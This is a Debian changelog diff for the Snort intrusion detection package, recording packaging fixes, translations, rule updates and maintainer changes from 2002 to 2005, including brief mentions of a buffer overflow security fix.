+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Fri,  3 Jun 2005 16:24:50 +0200
+
+snort (2.3.2-3) unstable; urgency=high
+
+  * Pre-Depend on adduser since we use it on preinst
+  * Changed debian/TODO
+  * Snort-common now Replaces old snort versions (1.8.4beta1-1) since
+    the configuration files where moved there from snort. 
+    Save for the ppp configuration file which was moved from snort-common to
+    snort. Snort now Replaces snort-common versions previous to 2.0.2-3, 
+    that introduced the change, cannot conflict since we will end up with
+    circular dependencies. (Closes: #311257)
+  * Check MD5sums before rule files are moved from the old location to the
+    new one in snort-rules-default's preinst when upgrading.
+    If the files have not been changed from the ones provided
+    by the woody version then remove them (Closes: #311263)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Wed,  1 Jun 2005 09:47:04 +0200
+
+snort (2.3.2-2) unstable; urgency=low
+
+  * Have snort-common Conflict on versions prior to the Source-Version to
+    prevent users upgrading snort-common without upgrading snort.
+    (Closes: #300785
+  * Fixed homepage location of Snort (Closes: #300727)
+  * Fixed snort-stat so it can be used when the -y option is used with Snort,
+    thanks to the patch provided by Chirik (Closes: #200276)
+  * Updated German translation courtesy of Erik Schanze 
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Tue, 22 Mar 2005 01:26:55 +0100
+
+snort (2.3.2-1) unstable; urgency=low
+
+  * New upstream release. 
+    - Fixes some bugs in preprocessors
+    - Rules updates
+  * Fixed format of NEWS file, updated the version of the changelog entry so
+    that everybody will read it on next upgrade (Closes: #299334) 
+  * Added debconf french translation provided by Christian Perrier (Closes: #299016)
+  * Updated debconf dutch translation provided by  Peter Vandenabeele (Closes: #296152)
+  * The PPP script will now use the new /etc/default/snort mechanism 
+    (Closes: 298003
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Mon, 14 Mar 2005 13:26:45 +0100
+
+snort (2.3.0-7) unstable; urgency=low
+
+  * Do not change the permissions of /var/log/snort/ and 
+    /etc/snort/snort.conf if the administrator has setup an override
+    using dpkg-statoverride (Closes: #296927)
+  * Updated translation to Catalan with the one provided by Aleix Badia i
+    Bosch
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Sat, 26 Feb 2005 13:09:14 +0100
+
+snort (2.3.0-6) unstable; urgency=low
+
+  * Added tetex-extra to Build-Depends (Closes: #296814)
+  * Refer to the proper file in debconf template (Closes: #296809)
+  * Updated the spanish debconf translation.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Fri, 25 Feb 2005 00:43:19 +0100
+
+snort (2.3.0-5) unstable; urgency=low
+
+  * Upload of the experimental package to unstable
+    Even though I don't get to fix #205683 and friends (and I would
+    like to, before the release)
+    This release Closes #283816, #241995, #289405, #247603
+  * Do not rotate log files if empty (Closes: #193299)
+  * Added dutch translation (Closes: #247603)
+  * Added yet another TODO item
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Tue, 22 Feb 2005 21:36:40 +0100
+
+snort (2.3.0-4) experimental; urgency=low
+
+  * Call dh_installdocs with -i or -a depending on target, rename
+    (Closes: #295228, #294755)
+  *  NEWS.Debian file to NEWS 
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Tue, 15 Feb 2005 08:33:34 +0100
+
+snort (2.3.0-3) experimental; urgency=low
+
+  * Create manual in build-indep location (Closes: #294755) 
+  * Fixed location of snort_manual and lisapaper in their respective
+    doc-base files.
+  * Added a reference to the FAQ through a new doc-base file.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Sat, 12 Feb 2005 12:23:35 +0100
+
+snort (2.3.0-2) experimental; urgency=low
+
+  * Improved postrm purge action by removing also obsolete configuration
+  (since it's no longer in the conffiles) and the group. Also, synced all
+  postrm scripts (mysql did not included the rmdir /etc/snort code)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Wed,  9 Feb 2005 08:44:05 +0100
+
+snort (2.3.0-1) experimental; urgency=low
+
+  (First attempt at experimental, to avoid breaking installations running sid)
+  * New upstream release 
+  * This version now uses libnet1, changed Build-Depends (Closes: #241995)
+  * Introduced /etc/default/snort and removed /etc/snort/common.parameters
+    this makes it easier to check for common situations (parsing the parameter
+    file is quite complicated). The old common.parameters file is moved
+    over to /etc/default/snort automatically, but retained in case
+    the parsing has not been done properly (and will not be used until
+    the common.parameters file is removed). This is described in the
+    NEWS.Debian file.
+  * Fixed the postint call so that the passwd and group are checked before
+    they are created. Also fix chown call (still used '.' instead of ':')
+  * Introduce a check for the status of Snort's logdirectory, it checks if
+    it belongs to Snort (Closes: #247603)
+  * This release provides debconf support for snort sensors in 
+    multiple interfaces (Closes: #283816)
+  * Run update-debconf, seems I had not done this when I last made changes
+    in the templates in 2.2.0-8
+  * Included the documentation available, including signatures. Also
+    added the LaTeX manual included as well as the additional Build-Depends
+    on tetex-bin and gs-common
+  * Updated the FAQ (was about time!) from http://www.snort.org/docs/FAQ.txt
+  * Added a README.docs file (pointing people to more documents)
+  * Updated translations:
+    - German, provided by Erik Schanze (Closes: #289405)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Wed, 26 Jan 2005 09:18:53 +0100
+
+snort (2.2.0-9) unstable; urgency=low
+
+  * Removed old (obsolete) converstion of PPPENV in /var/tmp in postinst
+    which actually might open up security holes when using dialup access
+    and installing/upgrading the package.
+  * Updated translations:
+    - Japanese, provided by Hideki Yamane (closes: #283128)
+    - French, provided by Christian Perrier (closes: #284559)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Mon, 20 Dec 2004 01:35:21 +0100
+
+snort (2.2.0-8) unstable; urgency=low
+
+  * Updated the README.Debian file with proper information on how to setup
+    multiple interfaces and rewrote the Debconf question to specify that
+    it can be used to define multiple interfaces (Closes: #283816) 
+  * Added some additional TODO notes
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Wed,  1 Dec 2004 17:04:38 +0100
+
+snort (2.2.0-7) unstable; urgency=low
+
+  * Make snort-common Arch: all (Closes: #278987) 
+  * The installation will now check if you are using a configuration that
+    will not be able to work with the current Snort version and will forewarn
+    you. The package installation will still fail (if Snort is started
+    automatically) but the administrator will be pointed to where the
+    error is (Closes: #165107)
+  * Use dh_installman instead of dh_installmanpages and provide proper
+    PACKAGE.manpages file since dh_installmanpages now fails to create the
+    snort-common package properly.
+  * Updated to the latest rules snapshot
+  * Added an 'update-rules' target in debian/rules that downloads the 
+    latest rules snapshot and installs it in the package.
+  [ Translations ]
+  * Dutch update, provided by cobaco (Closes: #278719)
+  * Japanese update, provided by Hideki Yamane (Closes: #279028)
+  * French update, provided by Christian Perrier (Closes: #279833)
+  * German update, provided by Erik Schanze (Closes: #280964)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Sat, 30 Oct 2004 22:47:34 +0200
+
+snort (2.2.0-6) unstable; urgency=low
+
+  * Added a 'config-check' option in init.d to test the user's configuration
+    file. This could be used to determine (in postinst) if snort should be
+    restarted and warn the user (not yet done). This will help fix #165107,
+    #165351 (since similar user mistakes would be detected), #276565 and
+    #247665.
+  * Added more information to the TODOs
+  * Moved DEBIAN_TRESHOLD to DEBIAN_THRESHOLD (save for the debconf value
+    in order to avoid reseting it) (Closes: #256581)
+  * Removed double space in template (Closes: #275936)
+  * The snort-rules package now Suggests: snort instead of depending on it
+    (Closes: #249697)
+  * Updated rules with the latest snapshot.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Mon, 25 Oct 2004 23:47:45 +0200
+
+snort (2.2.0-5) unstable; urgency=low
+
+  * Rules update 
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Wed, 13 Oct 2004 12:11:21 +0200
+
+snort (2.2.0-4) unstable; urgency=medium
+
+  * Fix typo introduced in previous upload that prevents
+    ppp init script from loading properly common.parameters (Closes: #275439)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Fri,  8 Oct 2004 09:50:06 +0200
+
+snort (2.2.0-3) unstable; urgency=high
+
+  * Added config-file discovery to ppp init.scripts so that Snort is
+    started (-c) with the proper configuration file if available or 
+    snort.conf if not. Setting high severity so that users running
+    Snort with PPP don't end up with a full /var filesystem (Closes: #268707)
+  * Fixed bashism in /etc/ppp/if-up.d/snort
+  * Modified the init.d an if-up.d scripts so that
+    /etc/snort/snort.common.parameters is only used if it exists.
+  * Snort-rules-default now Recommends: oinkmaster 
+    now that it is in the archive (accepted 01 Oct 2004), this does not
+    close #191105 since IMHO a better signature update mechanism should 
+    be introduced. Also updated the related TODO item.
+  * Added a FAQ Q&A regarding rule updates in README.Debian
+  * Added code to detect for deprecated preprocessors and warn the user,
+    curretnly the code will not touch the configuration files himself and
+    will not detect if you are using the standard package configuration file.
+    It will prevent users from having configuration issues, however
+    (Closes: #247665)
+  * Modified the init.d file so you can use 'status' to determine if
+    the Snort sensors are up or not.
+  * Updated the 2.2 rule set with the snapshot provided at snort.org, new rules
+    include detection of the recent JPEG exploit (Closes: #274244)
+  * Fixed typo in templates (unfuzzied modified entries) and updated
+    JA translation provided by Hideki Yamane (Closes: #273138)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Sat,  2 Oct 2004 12:41:50 +0200
+
+snort (2.2.0-2) unstable; urgency=low
+
+  * Taking over maintainership of this package (Closes: #265343)
+  * Have  Snort{,-mysql,-pgsql} depend on the same versions of the
+    common packages (was not done in the previous release)
+  * Updated JA translation (Closes: #271755)
+  * Added a list of todo items in debian/TODO
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Wed, 15 Sep 2004 10:42:43 +0200
+
+snort (2.2.0-1) unstable; urgency=low
+
+  + The 'Please Adopt Me!' release.
+
+  + Fixed build-depends on libpcap0.8-dev closes: #263923
+  + Fixed failure to start on multiple interfaces, each interface
+    now uses it's own configuration file. Closes: #248908
+  + Snort{,-mysql,-pgsql} depend on the same versioned rules + common
+    Closes: #257078
+  + NL, DE, pt_BR, FR, JA translations added
+    Closes: #265508, #264301, #246553, #246374, #239206
+  + New upstream release closes: #262297
+ 
+ -- Sander Smeenk <ssmeenk@debian.org>  Sun, 15 Aug 2004 15:24:39 +0200
+  
+snort (2.1.2-2) unstable; urgency=low
+
+  ! Once again: Thanks Mario 'BitKoenig' Holbe for your great help:
+    + Moved 'dialup' interface guessing from ppp/ip-up to postinst
+  + Cleanup restart: only restart current running interfaces
+    This also cleans up: 'dialup' logcheck failure, if no snort running
+  + Prepare for multisensor support
+  + Use start-stop-daemon --retry instead of sleep and kill -9
+  + Use invoke-rc.d only, if it exists
+    Closes: #191574
+  + Correct please_restart to please_restart_manually
+  + Re-Unified prerm and postinst scripts
+  + Fix the backward-compatible just-kill-them-all in prerm;
+    do we really need it? It definitely didn't work before and
+    since the old-package prerm is called anyways, we shouldn't.
+  + Simplify snort.debian.conf creation
+
+  + snort-doc/examples now has a snort-rules auto-update script!
+    Closes: #242521, thanks Marcel!
+  + Updated fr.po by Christian Perrier
+    Closes: #244048, thanks Christian!
+  + Recent changes to init / ip-{up,down} scripts fixed this bug:
+    Closes: #226236
+  + Fixed database schema's in {pg,my}sql packages. This does not fix
+    the 'schema is not installed when debconf prompts for it'-problem.
+    Closes: #244017
+  + Problem with snort-pgsql.template fixed.
+    Closes: #244175
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sun, 18 Apr 2004 14:39:19 +0200
+
+snort (2.1.2-1) unstable; urgency=low
+
+  + New upstream release
+  + Templates corrected (reflect same text at shared options, typos)
+  
+  + -b switch removed from snort startup, log_tcpdump changed to snort.log
+    Closes: #241425, #171190
+  + French debconf translation by Christian Perrier
+    Closes: #241991
+  + Added checks on purge of snort-rules-default. Fixed breakage
+    Closes: #239542
+  + Firewall interaction is explained in the FAQ
+    Closes: #217174
+  + Snort now has snort.common.options, and no -b anymore.
+    Closes: #217244
+  + Changed helptext in snort.debian.conf to be more generic.
+    Closes: #196694
+  + Improved dialup suppport. MANY Thanks to Mario 'BitKoenig' Holbe for
+    his great work on this subject and the changes to the init script!
+    Closes: #226236
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sun,  4 Apr 2004 15:12:27 +0100
+
+snort (2.1.1-1) unstable; urgency=low
+
+  + New upstream release
+    Closes: #238427
+  + Added catalan debconf templates (debian/po/ca.po)
+    Closes: #236644
+  + Fixed packaging bugs.
+  + Applied following changes by Javier FernÃ¡ndez-Sanguino PeÃ±a. Thanks!!
+      * Snort group is now created using --system in all packages
+        Closes: #231580
+      * Both the cron.daily script and the postinst scripts set a default
+        value for STATS_RCPT and STATS_TRESHOLD to avoid buggy behaviours
+        if the user does not setup a proper value when interfacing with
+        debconf. Still, these values should be checked in the config 
+        scripts. (Closes: #173331)
+      * Snort-stat now exists if there are no results which will avoid
+        it from sending empty emails 
+        (Closes: #217913, #174508, #192401, #172529)
+      * Improved the explanations in several templates (Closes: #217173)
+      * Updated Japanese translation (and fixed some po format errors,
+        hopefully without damaging the po file) (Closes: #226680)
+      * Included Catalan debconf translation (Closes: #236644)
+      * Updated pt-BR debconf translation (Closes: #228244)
+      * Re-Added (partial) spanish debconf translation (it seems that 
+        the work I did back in december 2001 has not been moved to po-debconf!)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Wed, 17 Mar 2004 18:46:28 +0100
+ 
+snort (2.1.0-4) unstable; urgency=low
+
+  + Fixed FTBFS with -B flag specified to dpkg-buildpackage
+    Thanks Pascal Hakim.
+  + Restart target in init.d script requires a sleep on slow systems.
+    Thanks Marco Gaiarin.
+  + Updated the ja.po templates 
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Wed, 1 Mar 2004 00:00:00 +0100
+  
+snort (2.1.0-3) unstable; urgency=low
+
+  + Split binary-indep packages from binary-arch target
+    Closes: #226072, #157708, #185806
+  + ip-up.d script now correctly guesses the PPPENV settings
+    Closes: #225956
+  + Updated the fr.po templates
+    Closes: #225906
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sun, 04 Jan 2004 12:51:38 +0100
+
+snort (2.1.0-2) unstable; urgency=low
+
+  + Added example init.d script to manage multiple sensors.
+  + No longer kills custom daemons at init.d stop
+    Closes: #181637
+  + Fixed build-dependency on libpcre3-dev
+    Closes: #225707
+  + Fixed manpage to reflect new SIGHUP handling
+    Closes: #122689
+  + Already implemented 'statesaving' dialup scripts
+    Closes: #101725
+  + Changed default flow-portscan configuration
+    Closes: #225506
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Fri, 02 Jan 2004 13:01:54 +0100
+
+snort (2.1.0-1) unstable; urgency=low
+
+  + New upstream version
+  + Depend on perl-modules for perlscripts
+    Closes: #212805
+  + Fixed breakage of upgrades when conffiles were removed by user
+    Closes: #207970
+  + Added japanese translation of templates
+    Closes: #224191
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sun, 21 Dec 2003 15:48:55 +0100
+
+snort (2.0.2-3) unstable; urgency=low
+
+  * ip-up.d/snort and init.d/snort now use the same startup arguments
+    with an extra config file that holds the common parameters.
+    Closes: #217244
+  + ip-{up,down}.d/snort moved from snort-common to snort{,-mysql,-pgsql}
+  * Clarified debconf questions. Fixed typos, corrected grammar.
+    Closes: #217173
+  * Updated what documenation files are included.
+    Closes: #217174
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Fri, 24 Oct 2003 18:05:26 +0200
+
+snort (2.0.2-2) unstable; urgency=low
+
+  * Fixed 'native package' problem
+  	Closes: #216326
+
+  * Fixed syntaxerrors in init script
+    Closes: #215142
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sun, 19 Oct 2003 16:11:09 +0200
+
+snort (2.0.2-1) unstable; urgency=low
+
+  Pascal:
+  * Make snort-rules-default depend on a recent version of snort
+    Closes: #135603
+  * Delete configuration files and log files on purge.
+    Closes: #180043
+
+  Sander:
+  * Fixed the init.d script to not start snort in dialup mode at boot. 
+    Closes: #207291, #208003
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Wed, 08 Oct 2003 21:09:34 +1000
+
+snort (2.0.1-3) unstable; urgency=low
+
+  + Fixed FTBFS: automake1.6 dependency (Closes: #207010)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Mon, 25 Aug 2003 10:45:31 +0200
+
+snort (2.0.1-2) unstable; urgency=low
+  
+  + Snort now co-maintained by Pascal Hakim
+  
+  + fr.po added, forgot the NMU by Christian Perrier
+  + Untranslatable strings marked for translation fixed
+    Closes: #206972, #192952
+  + create_postgresql.gz has been updated and now uses 'TIMESTAMP'
+    Closes: #206372
+  + Changed the init.d's "start" section to support dialup mode
+    Closes: #205873
+  + SNMP support has been removed upstream, I forgot to remove the MIB
+    message from snort-common
+    Closes: #206668
+  + Since the MIB note was removed, this also fixes inapropriate use of
+    debconf, which Closes: #205085
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sun, 24 Aug 2003 11:41:23 +0200
+
+snort (2.0.1-1) unstable; urgency=low
+
+  + New upstream source
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Tue, 19 Aug 2003 16:32:46 +0200
+
+snort (2.0.0-3.1) unstable; urgency=low
+
+  + Eeps! Forgot my versioned dependencies!
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Mon, 05 May 2003 21:02:13 +0200
+
+snort (2.0.0-3) unstable; urgency=low
+
+  + Added 'Provides: Snort' to snort-{pg,my}sql (Closes: #190064)
+  + Moved parameter -b to snort.conf (Closes: #190748)
+  + Seems fixed, according to submitter (Closes: #184596)
+  + Fixed ppp/ip-up.d/snort, first source, then test (Closes: #190999, #191894)
+  + Dependency on libpq3 isn't mandatory since postgresql-dev depends on it.
+    (Closes: #191570)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Mon, 05 May 2003 20:27:03 +0200
+
+snort (2.0.0-2) unstable; urgency=low
+
+  + Fixed PPP environment variables in ip-up.d. (Closes: #190107)
+    I really don't know how to support multiple instances of snort here
+  + Versioned depends on snort-rules-default (Closes: #190111)
+  + Fixed wrong pid-finding init.d script (Closes: #190154)
+  + cronjob 'snort' renamed to '5snort' again (Closes: #190303)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Wed, 23 Apr 2003 21:00:23 +0200
+
+snort (2.0.0-1) unstable; urgency=high
+
+  + New Upstream version
+  + SECURITY FIXES (Closes: #189267)
+  - XML logging and SNMP notification seems to be removed upstream ?
+
+  + The init.d script has added intelligence that will hopefully detect
+    wether snort was running in manual mode / dialup mode when logrotate
+    ran, and leave it in that state (Closes: #186060)
+  + Tried to fix snort-stat by adding -a option (Closes: #186214)
+  + Renamed cronjob 5snort to snort (Closes: #186380)
+  + Rebuilt with new libsnmp-0.4.2 linking (Closes: #186415)
+  + po-debconf patch applied, thanks (Closes: #186881)
+  + Including sid-msg.map and gen-msg.map (Closes: #187291)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sat, 05 Apr 2003 13:32:18 +0200
+
+snort (1.9.1-4) unstable; urgency=low
+
+  + Added dependency on perl-modules to snort-common (Closes: #185180)
+  + Attempt 1 at fixing snort-stat again (Closes: #184622)
+  + init.d script tells how to start snort on dialup system (Closes: #181074)
+  + snort-stat supports -a now (scan whole file) (Closes: #184282)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Tue, 18 Mar 2003 21:37:47 +0100
+
+snort (1.9.1-3) unstable; urgency=low
+
+  + Fixed Override Disparities
+  + Added section to snort-paper (Closes: #183988, #183388)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Wed, 12 Mar 2003 09:04:30 +0100
+
+snort (1.9.1-2) unstable; urgency=low
+
+  + Fixed PostgreSQL CreateDB-scheme (Closes: #181733)
+  + Fixed snort-doc (Closes: #183988, #183388)
+  + A supposed fix for #181477 introduced a new bug which is now fixed
+    (Closes: #184128, #184071)
+  + Fixed -s commandline argument. It doesn't need an argument.
+    (Closes: #183790)
+  + Startup arguments for init.d invocation and pppd invocation are now
+    'the same' (Closes: #183554)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Mon, 10 Mar 2003 23:57:12 +0100
+
+snort (1.9.1-1) unstable; urgency=high
+
+  * SECURITY FIX
+    ISS X-Force has discovered a remotely exploitable buffer overflow
+    condition in Snort. A buffer overflow flaw exists in Snort RPC
+    preprocessing code that is vulnerable to attack.
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Mon, 03 Mar 2003 21:15:27 +0100
+
+snort (1.9.0rel-4) unstable; urgency=low
+
+  + Changed logrotate (Closes: #176495)
+  + Renamed 'portscan2' to 'portscan2.log' (Closes: #173978)
+  + Recompile Fixed PostgreSQL dependency (Closes: #175977)
+  + Applied patch against snort-stat (Closes: #175657)
+  + Added 'portscan2-ignorehosts' example + enabled for $HOME_NET
+    (Closes: #173985)
+  + Marks old 'snort.rules.files' OBSOLETE (Closes: #173981)
+  + Fixed snort-stat manpage to reflect alert.log (Closes: #175364)
+  + Fixed snort-pgsql logging bug with last_cid (Closes: #166722)
+  + Updated snort-rules-default to latest version
+  + Recompile fixed libsnmp5 dependency (Closes: #183094, #182722)
+  + Init scripts fixed (Closes: #181497)
+  + Changed rights on /var/log/snort to snort.adm (Closes: #180216)
+  + Fixed mkdir -p in snort-rules-default preinst (Closes: #180046)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sat, 25 Jan 2003 16:48:40 +0100
+  
+snort (1.9.0rel-3) unstable; urgency=low
+
+  + Using invoke-rc.d instead of direct /etc/init.d calls (Closes: #165135)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Thu, 17 Oct 2002 11:35:42 +0200
+
+snort (1.9.0rel-2) unstable; urgency=low
+
+  + Fixed Startup in Manual mode (Closes: #164644)
+  + Fixed failing preinst in snort-rules-default (Closes: #164643)
+  + No more useless cron messages (Closes: #158490)
+  + Manually changed snort.c to fix -s cmdline problem (Closes: #164969)
+  + DISABLED OLD PORTSCAN PREPROCESSOR, REPLACED BY PORTSCAN2 PREPROCESSOR
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Wed, 16 Oct 2002 19:58:29 +0200
+  
+snort (1.9.0rel-1) unstable; urgency=low
+
+  + New Upstream Version
+  + Moves old /etc/snort/*.rules to new rules/ directory 
+    (Closes: #158447, #160888)
+  + Closes: #158845, leftover bug fixed in previous upload.
+  + Files *were* created with incorrect permissions (Closes: #162386)
+  + Fixed Logrotate (Closes: #158042, #159456)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sat, 31 Aug 2002 15:59:16 +0200
+
+snort (1.9.0beta4-5) unstable; urgency=low
+
+  + ASN.1 Decoder turned OFF because of TOO MANY LOGENTRIES!
+  * Fixed Bugs (Closes: #157443)
+  + Commented out the 'Initializing Output Plugins!' message.
+  
+  
+  + Changed to logrotate to rotate logfiles (Closes: #157706)
+  * Unreproducable, but changed to new rotation system (Closes: #156896)
+  
+  
+  + Specified 'portscan2.log' as portscan2 preprocessor logfile
+  + Supports 'any' in the address range question to not trust
+    any side of the network. Wishlist but no bug was filed for this.
+  + Fixed faulty information in templates (Closes: #158708)
+  + Added README.PHP in contrib/ for clearness (Closes: #158714)
+  + snort-stat reported hostname with \n at the end, chomped off now.
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Fri, 23 Aug 2002 22:17:20 +0200
+
+snort (1.9.0beta4-4) unstable; urgency=low
+
+  + Severe postinst breakage when installing newer versions
+    of Snort from scratch. Fixed.
+  + Fixed world-writable logfiles problem (Closes: #155893)
+  + Password-field must be filled in.
+  + snort-mysql's postinst put postgresql config in snort.conf :(
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Tue, 20 Aug 2002 13:21:42 +0200
+
+snort (1.9.0beta4-3) unstable; urgency=low
+
+  + Fixed world-writable logfiles problem (Closes: #155893)
+  + Password-field must be filled in.
+  + snort-mysql's postinst put postgresql config in snort.conf :(
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Tue, 20 Aug 2002 11:11:35 +0200
+
+snort (1.9.0beta4-2) unstable; urgency=low
+
+  + Found nicer way of fixing #155893 (Closes: #155893)
+  + Typo two typos in bugnumbers. 
+    Previous #153221 should be (Closes: #153211)
+    Previous #156119 should be (Closes: #156199)
+    Sorry for the mixups. It was late :/
+  + Fixed b0rking preinsts (Closes: #157085)
+  
+ -- Sander Smeenk <ssmeenk@debian.org>  Fri, 16 Aug 2002 00:03:41 +0200
+  
+snort (1.9.0beta4-1) unstable; urgency=low
+
+  + Fixes world readable configuration file problem (Closes: #154977, #155484)
+  + XML output should work in this release (Closes: #153845)
+  + MIB's moved to /usr/share/snmp/mibs (Closes: #153221)
+  + snort-stat now uses threshold (Closes: #147197)
+  + SMTP rules have been disabled per default (Closes: #153817)
+  + Fixed typo's in debconf screens (Closes: #154687)
+  + 'Hacked around' the logfiles-not-group-readable problem (Closes: #155893)
+  + Upload accepted (Closes: #156119)
+  + Leftover bugs that have been fixed earlier (Closes: #134979)
+
+  * Fixed but no-bugreports:
+  + 'Initializing Plugins' log-message removed from src/plugbase.c
+  + Rules have moved from /etc/snort to /etc/snort/rules/
+  + snort-{pg,my}sql now update the snort.conf file properly
+  + stream4 evasion-detection disabled
+  + more...
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Wed, 14 Aug 2002 22:00:24 +0200
+
+snort (1.8.7-4) unstable; urgency=low
+  
+  + Typo in snort-stat, fixed.
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sat, 03 Aug 2002 11:21:49 +0200
+
+snort (1.8.7-3) unstable; urgency=low
+
+  + snort-stat now shows hostname from where it's reporting.
+  + ruleset tuning (Closes: #155084)  
+  + i see no rules with <- direction specifier, snort starts
+    just the way it should with telnet.rules and backdoor.rules
+    (Closes: #153400)
+  + Specific major-version Build-Depends on libsnmp4.2-dev (Closes: #155163)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sat, 03 Aug 2002 01:34:49 +0200
+
+snort (1.8.7-2) unstable; urgency=low
+
+  + Fixed situations where snort got restarted by cronscript while
+    being started in dialup-mode. Snort should support -HUP'ing.
+  + Fixed typo in /etc/snort/snort.conf (Closes: #152840, #152671)
+  + Fixed stupid snmpd.conf auto-addition, that was bad (Closes: #153074)
+  + Each MTA supplies 'sendmail' and each system has 'MTA' (Closes: #151678)
+  + Snort-pgsql has debconf 'help' on configuring a DB (Closes: #149661)
+  + Fixed snort-mysql.config problem (Closes: #110952)
+  + Multiple subnets problem fixed (Closes: #146861)
+  * Maintainer Wipes Forehead.
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Thu, 11 Jul 2002 21:06:50 +0200
+
+snort (1.8.7-1) unstable; urgency=low
+
+  + NEW UPSTREAM!
+  * No more local-{first,last} creation in preinst (Closes: #152184)
+  * var EXTERNAL_NET !$HOME_NET in snort.conf (Closes: #152182)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Mon,  8 Jul 2002 10:59:16 +0200
+
+snort (1.8.6-6) unstable; urgency=low
+
+  * Fixed serious log-rotation problem (Closes: #151922)
+  * Fixed typo in rules file: --enable-snmp versus --with-snmp
+    + Reported in private mail, no bugs to close.
+  * New ruleset & config & classification (Closes: #152070)
+  * Not a bug (Closes: #152068)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Fri,  5 Jul 2002 23:23:09 +0200
+
+snort (1.8.6-5) unstable; urgency=low
+
+  * Fixed 5snort cronjob, thanks for the patches.
+     + Closes: #151336, #151341, #151393, #151395
+  * Can't check this problem, it looks fixed to me. 
+     + Closes: #94709
+  * Cronjob has been reworked so it uses /var/log/snort/alert, also
+    snort.conf has been configured to log to syslog by default.
+     + Closes: #146680
+  * Debconf frontend now supports multiple addresses (ranges) in
+    address_range question.
+     + Closes: #66932
+  * Bug-submitter thinks this bug is fixes now.
+     + Closes: #104074
+  * Weird unaligned traps on alpha are unconfirmed snort-related.
+    Also, haven't heard anyone else about this.
+     + Closes: #130675
+  * Fixed the debconf script's perl-regexp to support multiple
+    subnet-definition seperated by commas
+     + Closes: #146945
+  * Once more fixed /etc/snort/snort.conf _NOT_ to log to syslog,
+    since that would stop logging to /var/log/snort/alert, and that
+    would break the snort-stat cronjob, and more.
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Sun, 30 Jun 2002 00:29:26 +0200
+
+snort (1.8.6-4) unstable; urgency=low
+
+  + Fixed POSIX shell incompatibility (Closes: #150409)
+  + Fixed Suggests instead of Recommends on snort-doc. 
+    (Closes: #150768, #150702)
+  + Fixed RULE_PATH setting in snort.conf
+  + Fixed syslog default log-type in snort.conf (Closes: #46680, #124169)  
+  + The cronjob in this release _tries_ syslogd-listfiles, and if
+    that is not available defaults to /var/log/auth.log. (Closes: #120991)
+  + Added section in README.Debian about FLEXRESP rules and 
+    snort-not-starting because of permission denied (Closes: #132577)
+  + Fixed Subject: in body instead of headers (Closes: #132220, #145836)
+  + Fixed 'misleading comments' in snort.conf (Closes: #145749)
+  + The empty snort.conf problem was fixed in 1.8.6-1? (Closes: #144218)
+  + This was fixed in an earlier release (Closes: #134792)
+  + Applied patch against cronjob (Closes: #151229)
+  + Package 'debianutils' is in base and required, so no dependancies
+    are nescasary (Closes: #145837)
+  + Subjectless email fixed (Closes: #145876)
+  + Cronjob emails daily-alerts instead of weekly (Closes: #145901)
+  + Looks fixed to me (Closes: #136220)
+  + Thanks for the patches everyone!! Greatly appreciated! (Closes: #151257)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Fri, 28 Jun 2002 11:22:13 +0200
+  
+snort (1.8.6-3) unstable; urgency=low
+
+  * New Maintainer!  Sander Smeenk <ssmeenk@debian.org>
+  + POSTGRESQL SUPPORT WHOO (Closes: #108348)
+
+ -- Sander Smeenk <ssmeenk@debian.org>  Tue,  4 Jun 2002 21:28:15 +0200
+
